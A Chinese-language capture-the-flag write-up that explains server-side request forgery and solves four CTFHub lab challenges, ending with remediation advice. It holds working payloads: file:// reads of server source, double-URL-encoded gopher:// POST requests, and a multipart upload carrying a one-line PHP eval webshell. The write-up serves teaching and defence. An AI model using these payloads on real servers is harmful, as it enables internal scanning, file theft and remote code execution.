概念#
SSRF,全稱為 Server-Side Request Forgery,伺服器端請求偽造,是攻擊者能夠代表伺服器發送請求時產生的漏洞。它允許攻擊者 “偽造” 易受到攻擊伺服器的請求簽名,從而在 web 上佔據主導地位,繞過防火牆控制並獲得對內部服務的訪問權限。
形成原因:由於伺服器端提供了從其他伺服器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制,導致攻擊者可以傳入任意的地址來讓後端伺服器對其發送請求,並返回對該目標地址請求的數據。
那麼在什麼時候可能產生SSRF
呢?最常見的是當伺服器需要外部資源時。
比如web
需要從google
加載一張縮略圖,此時的請求可能是這樣的:
https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
當從google.com
獲取cutpugs.jpeg
時,Web
應用程序必須訪問google.com
並從google.com
中檢索內容。
如果伺服器不區分內部和外部資源,攻擊者就可以輕鬆地發出請求:
https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt
然後使web
伺服器向攻擊者的web
伺服器顯示包含密碼的文件。
列舉幾個經常易受SSRF
攻擊的功能,包括Web hook
、通過URL
上傳文件、文檔和圖像處理、鏈接擴展和代理服務(因為這些功能都需要訪問和獲取外部資源)。
在 PHP 中:某些函數的不當使用會導致 SSRF:如
- file_get_conntents (): 把文件寫入字符串,當 url 是內網文件時,會先把這個文件的內容讀出來再寫入,導致了文件讀取。
- fsockopen (): 實現獲取用戶指定 url 的數據(文件或者 html),這個函數會使用 socket 跟伺服器建立 tcp 連接,傳輸原始數據。
- curl_exec (): 通過 file、dict、gopher 三個協議來進行滲透。
危害:獲取web
應用可達伺服器服務的banner
信息,以及收集內網web
應用的指紋識別。
根據這些信息再進行進一步的滲透,攻擊運行在內網的系統或應用程序,獲取內網系統弱口令進行內網漫遊。
對有漏洞的內網web
應用實施攻擊獲取webshell
。
利用由脆弱性的組件結合ftp://、file://、dict://
等協議實施攻擊。
漏洞發生點:
- 通過
url
地址分享網頁內容。 - 文件處理、編碼處理、轉碼等服務。
- 在線翻譯。
- 通過 url 地址加載與下載圖片。
- 圖片、文章收藏功能。
- 未公開的 api 實現及其他調用 url 的功能。
- 網站郵箱收取其他郵箱郵件功能。
從url
關鍵字尋找:
share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain
下面配合ctfhub的靶場進行實戰講解。
0x01 第一題 內網訪問#
簡單演示:
先來一個例子熱熱身,依然是ctfhub
技能樹web
第一題 內網訪問。
題目提示為:嘗試訪問位於127.0.0.1
的flag.php
吧。
打開題目為空白,url
為xxx.com:yyyy/?url=_
。
嗯,好,不知道啥意思,這篇文章到此結束。。了嗎?不可能的。
url=127.0.0.1/flag.php
好下個。
0x02 第二題 端口掃描#
題目提示端口在8000-9000
,因此直接掃就可以了。
這裡我們需要使用dict
偽協議來掃描,因為dict
協議可以用來探測開放的端口。
偽協議可以參考文末的參考文章進行學習。
得到端口8605
:
得到flag
,接下來看下一題POST
請求。
0x03 第三題 POST 請求#
題目描述為
“這次是發一個 HTTP POST 請求。對了.ssrf 是用 php 的 curl 實現的。並且會跟蹤 302 跳轉。加油吧少年。”
從提示知道應該是需要我們利用SSRF
發一個POST
的請求,自然而然就想到了gopher
。
同時題目中也提到了curl
,而curl
正好是支持gopher
協議的。
因此這題大概率就是利用gopher
發送一個POST
請求,然後獲得flag
。
那先看下存不存在flag.php
吧:
查看flag.php
果然存在,並且返回中有一個debug
參數key
。
<!-- Debug: key=4a0c2731eeeb016454ef8984765b990d-->
需要我們用gopher
協議通過302.php
的跳轉去用post key
到flag.php
。
不過需要注意的是要從127.0.0.1
發送數據。
那我們先看一下能否讀取到flag.php
和index.php
的內容:
/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
偽協議同樣可以參考文末的參考文章進行學習。
構造gopher
數據。
我們首先要通過
{host}:{port}/index.php?url=http://127.0.0.1/302.php
去跳轉gopher
的協議,構造POST
,結合gopher
,數據包應該是這樣的:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=4a0c2731eeeb016454ef8984765b990d
以上數據包內容缺一不可,需要注意的是
-
特別注意 Content-Length 的長度,這個字段必須有,並且長度不對也是不行的。
-
注意更改 key。
-
URL 編碼的次數主要取決於你請求的次數,比如你直接 POST 請求算一次,直接?url 打則需再加一次共 2 次。
這裡推薦一個巨好用的在線編碼網站,CyberChef。
首先在左邊搜索欄搜索url encode
,把這個功能拖到功能欄。
將上面代碼複製進去得到第一次URL
編碼的結果(注意默認編碼特殊字符不需要勾選編碼全部字符):
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%20%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=4a0c2731eeeb016454ef8984765b990d
此處需要對換行進行處理,默認換行編碼為%0A
,但我們需要把它換為%0D%0A
,
於是在頁面左邊搜索Find / Replace
拖到功能欄按照所屬進行配置:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%20%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=4a0c2731eeeb016454ef8984765b990d
最後由於我們是通過?url
過去的,所以需要再編碼一次:
最終的包為:
GET http://challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%2520%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=4a0c2731eeeb016454ef8984765b990d HTTP/1.1
Host: challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
發包得到flag
:
0x04 第四題 上傳文件#
提示為
這次需要上傳一個文件到 flag.php 了。祝你好运。
直接訪問127.0.0.1
下的flag.php
,發現是一個文件上傳界面,提示我們上傳webshell
:
但好像只有一個選擇文件,沒有上傳文件的按鈕,訪問?url=file:///var/www/html/index.php
,得到index.php
的源碼:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
訪問?url=file:///var/www/html/flag.php
,得到flag.php
的源碼:
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
if (isset($_FILES["file"]) && $_FILES["file"]["size"] > 0) {
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
可以發現flag.php
僅要求上傳的文件大小大於 0 即可得到flag
,並沒有任何過濾。
接下來我們嘗試利用gopher
協議上傳文件,首先需要得到文件上傳的數據包,才能編寫gopher
的payload
。
因此我們對這個文件上傳的flag.php
頁面進行F12
前端改寫,添加一個submit
提交按鈕。
(但這裡點擊提交按鈕是得不到flag
的,必須從目標機本地訪問。)
添加一行
<input type="submit" name="submit">
則會出現一個提交查詢按鈕:
隨便選擇文件,開啟攔截包點擊提交查詢。
由於訪問flag
需要本地訪問,故把HOST
改為127.0.0.1
。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22285140113870486144781081380
Content-Length: 379
Origin: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="submit"
提交查詢
-----------------------------22285140113870486144781081380--
然後和上面的操作一樣url
編碼一次,把%0A
換成%0D%0A
,然後再url
編碼一次。
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------22285140113870486144781081380%250D%250AContent-Length:%2520379%250D%250AOrigin:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522yjh.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'a'%255D);%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------22285140113870486144781081380--
進行gopher
協議的使用,就可以成功得到flag
:
修復建議#
-
禁用不需要的協議,只允許 HTTP 和 HTTPS 請求,可以防止類似於 file://, gopher://, ftp:// 等引起的問題。
-
白名單的方式限制訪問的目標地址,禁止對內網發起請求。
-
過濾或屏蔽請求返回的詳細信息,驗證遠程伺服器對請求的響應是比較容易的方法。如果 web 應用是去獲取某一種類型的文件。那麼在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。
-
驗證請求的文件格式。
-
禁止跳轉。
-
限制請求的端口為 http 常用的端口,比如 80、443、8080、8000 等。
-
統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端伺服器的端口狀態。
參考文章: